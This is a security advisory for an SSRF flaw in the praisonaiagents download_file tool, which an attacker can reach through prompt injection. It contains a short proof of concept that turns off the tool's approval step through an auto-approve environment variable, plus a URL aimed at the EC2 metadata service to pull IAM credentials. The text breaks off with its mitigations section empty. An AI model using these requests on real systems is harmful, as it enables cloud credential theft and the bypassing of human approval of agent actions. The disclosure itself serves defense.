PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL
Date: 2026-04
Affected: pip/praisonaiagents
Attack vector: prompt-injection
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-34954
CWE: CWE-918
CVSS: 8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)

### Summary `FileTools.download_file()` in `praisonaiagents` validates the destination path but performs no validation on the `url` parameter, passing it directly to `httpx.stream()` with `follow_redirects=True`. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services. ### Details `file_tools.py:259` (source) -> `file_tools.py:296` (sink) ```python # source -- url taken directly from caller, no validation def download_file(self, url: str, destination: str, ...): # sink -- unvalidated url passed to httpx with redirect following with httpx.stream("GET", url, timeout=timeout, follow_redirects=True) as response: ``` ### PoC ```bash # tested on: praisonaiagents==1.5.87 (source install) # install: pip install -e src/praisonai-agents # start listener: python3 -m http.server 8888 import os os.environ['PRAISONAI_AUTO_APPROVE'] = 'true' from praisonaiagents.tools.file_tools import download_file result = download_file( url="http://127.0.0.1:8888/ssrf-test", destination="/tmp/ssrf_out.txt" ) print(result) # listener logs: "GET /ssrf-test HTTP/1.1" 404 # on EC2 with IMDSv1: url="http://169.254.169.254/latest/meta-data/iam/security-credentials/" # writes IAM credentials to destination file ``` ### Impact On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. `f


Mitigations:

Architectural layers (MAESTRO):